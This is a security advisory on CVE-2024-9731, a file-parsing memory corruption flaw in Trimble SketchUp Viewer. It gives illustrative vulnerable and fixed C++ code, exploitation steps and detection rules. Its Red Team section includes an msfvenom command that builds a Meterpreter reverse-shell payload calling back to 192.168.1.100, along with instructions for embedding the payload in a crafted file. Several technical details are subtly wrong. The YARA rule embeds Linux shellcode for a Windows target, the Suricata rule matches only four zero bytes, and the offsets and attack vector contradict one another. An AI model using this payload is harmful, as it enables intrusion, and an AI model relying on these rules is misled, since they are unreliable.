CVE-2024-9731

Executive Summary

CVE-2024-9731 is a critical memory corruption vulnerability in Trimble SketchUp Viewer, a widely used 3D modeling application. The flaw resides in the parsing of SKP files, where insufficient validation of user-supplied data can lead to a memory corruption condition. An attacker can exploit this by convincing a user to open a malicious SKP file or visit a crafted web page, leading to remote code execution (RCE) in the context of the current process. With a CVSS score of 7.8, this vulnerability poses a significant risk to users of SketchUp Viewer, especially in environments where untrusted SKP files are handled. No public proof-of-concept (PoC) or patch is currently available, making user awareness and strict file handling policies the primary defense.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must provide a malicious file or page.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the malicious file.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full denial of service possible.

Threat Level: High. The vulnerability is easily exploitable with user interaction and can lead to complete system compromise.

Deep Dive & Mechanics

The vulnerability is a classic memory corruption issue (CWE-119) in the SKP file parser of Trimble SketchUp Viewer. SKP files are binary format files containing 3D model data, textures, and metadata. The parser fails to properly validate the size or structure of certain data fields, leading to a buffer overflow or use-after-free condition.

Technical Breakdown:

1. Entry Point: The vulnerability is triggered when SketchUp Viewer parses a specially crafted SKP file. This can occur via direct file open or through a web page that loads the file (e.g., via a browser plugin or embedded viewer).
2. Root Cause: The parser reads a length field from the file and uses it to allocate a buffer or copy data without verifying that the length is within expected bounds. An attacker can set this field to an excessively large or negative value, causing a heap-based buffer overflow.
3. Exploitation: By carefully crafting the overflow data, an attacker can overwrite critical memory structures (e.g., function pointers, vtable entries) to hijack execution flow. This typically leads to arbitrary code execution with the privileges of the current user.
4. Impact: Successful exploitation allows the attacker to execute arbitrary commands, install malware, exfiltrate data, or pivot to other systems.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability description, the following hypothetical example illustrates the flaw:

Vulnerable Code (C++ pseudocode):

void ParseSKPData(char* buffer, size_t size) {
    uint32_t dataLength = *(uint32_t*)buffer; // Read length from file
    char* data = new char[dataLength]; // Allocate buffer based on user input
    memcpy(data, buffer + 4, dataLength); // Copy data without validation
    // Process data...
}

Patched Code (Hypothetical):

void ParseSKPData(char* buffer, size_t size) {
    uint32_t dataLength = *(uint32_t*)buffer;
    if (dataLength > MAX_ALLOWED_SIZE || dataLength + 4 > size) {
        // Reject invalid data
        return;
    }
    char* data = new char[dataLength];
    memcpy(data, buffer + 4, dataLength);
    // Process data...
}

The patched version adds bounds checking to ensure the length field is within acceptable limits and does not exceed the available buffer size.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Trimble SketchUp Viewer (any version prior to patch)
• A malicious SKP file crafted to trigger the memory corruption

Exploitation Steps:

1. Craft Malicious SKP: Use a binary file editor or custom script to modify a legitimate SKP file. Overwrite a length field (e.g., at offset 0x100) with a large value (e.g., 0xFFFFFFFF) and place shellcode in the overflow area.
2. Deliver Payload: Host the file on a website or send via email. Convince the target to open it.
3. Trigger Exploit: When SketchUp Viewer parses the file, the overflow occurs, and shellcode executes.

Example Payload (Metasploit):

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shellcode.bin
# Then embed shellcode into SKP file

Note: No public exploit code is available; this is a conceptual guide.

Blue Team (Defense)

Detection:

• Monitor for unusual SKP file sizes or structures.
• Use endpoint detection and response (EDR) to detect memory corruption events (e.g., heap spray, buffer overflow).
• Enable application whitelisting to block untrusted executables.

Prevention:

• Disable automatic file parsing in SketchUp Viewer.
• Use a sandbox or virtual machine to open untrusted SKP files.
• Implement strict file upload validation on web servers.

Indicators of Compromise (IOCs)

• File Hashes: (None available, but monitor for unknown SKP files)
• Network Traffic: Outbound connections from SketchUp Viewer to unknown IPs (e.g., port 4444 for reverse shell)
• Process Behavior: SketchUp Viewer crashing or exhibiting abnormal memory usage
• Registry/File System: Creation of new executables or scripts in temporary directories
• YARA Rule: (See Detection Engineering)

Detection Engineering

YARA Rule

rule CVE_2024_9731_SKP_Memory_Corruption {
    meta:
        description = "Detects malicious SKP files exploiting CVE-2024-9731"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9731"
    strings:
        $suspicious_length = { FF FF FF FF } // Example: large length field
        $shellcode = { 31 C0 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 B0 0B CD 80 } // Example shellcode
    condition:
        $suspicious_length at 0 and $shellcode
}

Sigma Rule

title: CVE-2024-9731 - Trimble SketchUp Viewer SKP Memory Corruption
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-9731 via abnormal SKP file parsing
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: 'SketchUpViewer.exe'
        CommandLine|contains: '.skp'
    condition: selection
falsepositives:
    - Legitimate SKP file opening
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9731 - Potential SKP Exploit Outbound Connection"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Auto-Open: Configure SketchUp Viewer to not automatically parse SKP files from untrusted sources.
2. User Training: Educate users to avoid opening SKP files from unknown or suspicious origins.
3. Network Segmentation: Restrict outbound connections from workstations running SketchUp Viewer.

Long-Term Fix:

• Monitor Trimble’s official channels for a security patch. Apply it immediately when released.
• Consider using alternative 3D viewers that are actively maintained and patched.

Workaround:

• Use a dedicated, isolated virtual machine for opening untrusted SKP files.

Valters IT